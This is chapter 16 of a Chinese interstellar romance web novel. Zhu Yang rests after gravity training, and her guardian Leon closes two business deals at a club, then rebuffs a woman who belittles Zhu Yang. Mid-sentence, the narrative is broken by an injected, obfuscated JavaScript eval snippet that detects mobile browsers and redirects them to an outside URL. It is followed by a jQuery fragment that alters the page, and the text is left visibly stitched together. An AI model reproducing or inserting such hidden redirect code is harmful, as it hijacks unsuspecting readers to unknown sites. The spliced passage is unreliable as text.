16. 第16章
作品:《穿越后,必须找到三个监护人[星际]》 训练结束后,祝央泡在理疗池里,将整个人都陷进进热水里,她感觉灵魂终于回了体内。
赫莲德坐在池边,手里端着一杯温水,不紧不慢地等她缓过来,“今天的完成度比预期好,莱昂说的没错,第四次穿越重力区那段,你的重心调整已经有了一点直觉的雏形。”
“就是脚底板那个,“祝央闭着眼说,“感觉地面的动。”
“对,“赫莲德说,“那是蛇类的感知方式,莱昂用他自己的方法教你,他没有意识到,这对人类来说其实很不容易,但你学到了。”
祝央睁开眼,“他不是在教我,他是在虐我。”
赫莲德微微扬了扬眉,“有时候,这是同一件事。”
祝央看着头顶的天花板,过了一会儿,小声说,“赫莲德公爵,你讲’如何拒绝求偶者’的时候,莱昂和白彦两个人都没有什么反应。”
“因为那条规则对他们不适用。”赫莲德说。
“我知道,“祝央往水里沉了沉,“我是说……我有点好奇,他们俩这么势均力敌,这一个月结束之后,往后的日子,会不会一直这样一言不合就要掀桌子?”
赫莲德沉默了一下,然后说,“那就要看,他们有没有一个足够让他们都放下来的理由。”
祝央没有接话,慢慢地把眼睛闭上。
窗外,城市的霓虹开始亮起来,把整片天幕染得光怪陆离,夜生活开始了。
-
夜里,莱昂换好了出门的衣服。
是藏青色的西装,然后他对着房间的镜子检查了一遍自己。
“我去俱乐部。”他对着走廊方向说话,声音不大,但够让里面的人听见,“不超过午夜。”
客厅里传来祝央的声音,“好,注意安全。”
平平淡淡的四个字,像是某种很寻常的送别。
但莱昂在门口站了一秒,没有说什么,推开了门。
莱昂的座驾停在专属机位,他下车,有人来替他开门,走廊两侧的保安垂着手,目不斜视。
他的私人包厢在最里侧,那里的隔音做到了极致,外面的音乐和杯盏声被整整隔绝在了另一个世界。
今晚有一场对接,对方是来自边缘星区的一支矿产商会,最近想进入核心星区的金融流通体系,找到了莱昂这条线,已经谈了快16天,今天是最后的条款核定。
对面坐着三个人,为首的是个体型壮硕的雄性,蛮牛血统,看见莱昂进来,连忙起身,客气得有些过分,“莱昂先生,久仰。”
莱昂在主位坐下,接过助手递来的文件,目光直接落在了最后一页的数字上,“条款上的分成比例,我没有同意过四六。”
对方脸上的笑僵了一下,“这个……是我们商会那边的诚意,莱昂先生看……”
“三七,“莱昂把文件推回去,“我的数字从第一次谈判就没有变过。”
对方和旁边两人交换了一个眼神,其中一个开口,语气里带着试探,“莱昂先生,这个比例在行业里……”
“在行业里有行业的规矩,在我这里有我的规矩,“莱昂抬起眼,黑色的瞳孔在俱乐部昏暗的灯光下收成了一条竖线,那种看死物的眼神,把对面三个体量都比他壮的雄性压得集体往椅背上靠了靠,“你们有没有听过一句话,跟我谈判的人,没有第二次报价的机会。”
包厢里安静了几秒。
最终对方叹了口气,“……三七。”
“好。”莱昂重新拿起文件,取了桌上的签名笔,“下周一之前把修改版发我法务团,对好了直接走流程。”
这场谈判从头到尾不超过二十分钟。
对方三人起身告辞,走出包厢的时候,那个蛮牛血统的男人回头低声说了一句,“还好我没在第一条款上硬顶,不然今晚就得空手而归。”
旁边那人嘘了一声,快步跟上。
第一场谈完,离第二场还有四十分钟。
莱昂叫人换了一杯矿泉水,斜靠在椅背上,把光脑展开,翻了翻今天下午的训练数据备忘。
管家机器人在祝央下午训练的时候自动记录了一份生理指标报告,心率恢复速度比第一天快了百分之十二,肌肉疲劳指数依旧偏高,但比预期好。
他盯着那串数字看了一会儿,想起了她第四次穿越重力区时的样子,脚步没有慌,只是往后沉了一下重心,躲过了倾斜。
他把光脑收起来,换了一个姿势,看着她的进步,自己笑了笑。
包厢的门被敲了三下,助手从外面探进头来,“先生,希克斯·戈登让我问,您今晚要不要去大厅那边坐坐,说是来了几位新的贵族客人,有意结交。”
“不去,“莱昂说,“让他自己招待。”
助手点头退出去,顺手带上了门。
包厢里重归安静,只有隔着门板渗进来的隐约的音乐声,低沉的弦乐,绕着某个无人在意的调子转来转去。
莱昂把矿泉水推开,换了一杯热茶,端在手里没喝,只是让那点热度散在掌心。
他发现,自从祝央住进来之后,他这种独坐的时间变少了,而且每次独坐都会莫名其妙地不习惯。
他不是没有独处过,他这几百年里独处的时间加起来比什么都长,但以前的安静是密封的,现在的安静里有缺口,漏风。
他皱了皱眉,把这个想法从脑子里压下去。
第二场谈判的对象是帝国方面的一个家族代表,来谈的是一笔跨体系的资产置换,规模不大,但牵扯的关系链很复杂,聊了大约四十分钟,把几个关键节点确认完,收了尾。
对方起身的时候,顺口提了一句,“莱昂先生,听说您最近……”他停了一下,措辞了一下,“家里添了新成员?”
“消息灵通。”莱昂拿起茶杯,“跟谈判无关的事,不必开口。”
对方讪笑一声,识趣地没再提,行礼退出去了。
莱昂把茶喝完,看了看时间,还有一个小时才到他预定离开的点,他不习惯提前走,那显得像是某处出了纰漏。
他走出了包厢。
俱乐部的大厅今晚人不算
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17322443|198881||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多,但质量不低,三三两两分散在软椅和高脚桌旁,衣着考究,气息强横,带着这个圈子特有的气质。
莱昂在吧台边站定,要了一杯冰水,背靠着吧台,目光漫不经心地扫过大厅。
他在这种场合站着,本身就是一种存在感极强的姿态,不需要任何主动,自然会有人识相地绕开他,也自然会有人不识相地凑上来。
是个女人。
她的血统是白鹭,高挑,皮肤冷白,穿一件轻盈的深金色礼服,礼服的裁剪把她的身形衬得极好,五官精致,目光在见到莱昂的一刻微微闪了一下,随即礼貌地微笑。
“莱昂先生。”她站在他斜侧面,举着酒杯略微倾了一下身,“好久不见,您今晚也在?”
莱昂转过头,确认了一下对方的脸,是认识的,家族里有几笔账跟他的产业有过交叉,上次见面大概是半年前的某场商会晚宴,“嗯。”
“您今晚一个人?”她往他身边站了点儿,声音压低了一点,“我以为按照最近星网上的说法,您不会再独自出来了。”
“有什么差别。”莱昂端起冰水喝了一口,“我来办事。”
女人笑了笑,“可惜,”她抬起眼,带着一点试探,“以前我一直觉得,像莱昂先生这种人,是不会在意那种……制度性的束缚的,没想到……”
“你说的是监护人制度。”莱昂打断她,“那不是束缚,那是我主动要的。”
这句话落下去,女人的表情顿了一下,那种探究的意味淡了,换成了某种有些复杂的东西。
她重新举起了酒杯,“我只是好奇……那个女孩,真的值得您亲自出面?我见过不少雌性,有些虽然也是纯净基因,但……在您身边,未必能跟得上。”
莱昂把冰水放回吧台,缓缓转过头,正面看向她。
他的眼神没有任何情绪,但那种力道让女人下意识地攥紧了酒杯。
“你见过她?“他问。
“没有,但是……”
“那你没有资格说未必。”他的声音很平,像是在陈述一个与他无关的事实,“而且你刚才问的那个问题,措辞上有个错误。”
女人怔了一下,“什么错误?”
“不是她跟不跟得上我。”莱昂看着她,目光里有一种冷而确定的东西,“是我跟不跟得上她,这是两件事。”
大厅里的弦乐换了一首曲子,节奏慢了下来,绕着新的调子流淌。
女人看着莱昂,愣了很长时间,最终低头扯了一下嘴角,“……失言了,莱昂先生。”
“没有,“他重新端起冰水,“你只是信息来源不准确。”
女人拿着她的酒杯,后退了一步,行了个礼,没有再开口,转身走开了。
莱昂重新靠回吧台,继续扫视着大厅,他的目光没有停留在任何人身上,像是刚才的对话根本没有发生过一样。
但他的尾巴在提到祝央后又晃了几下,仿佛自己有意识般对祝央的袒护很满意。
他察觉到了,皱了皱眉,努力把那尾巴压住。

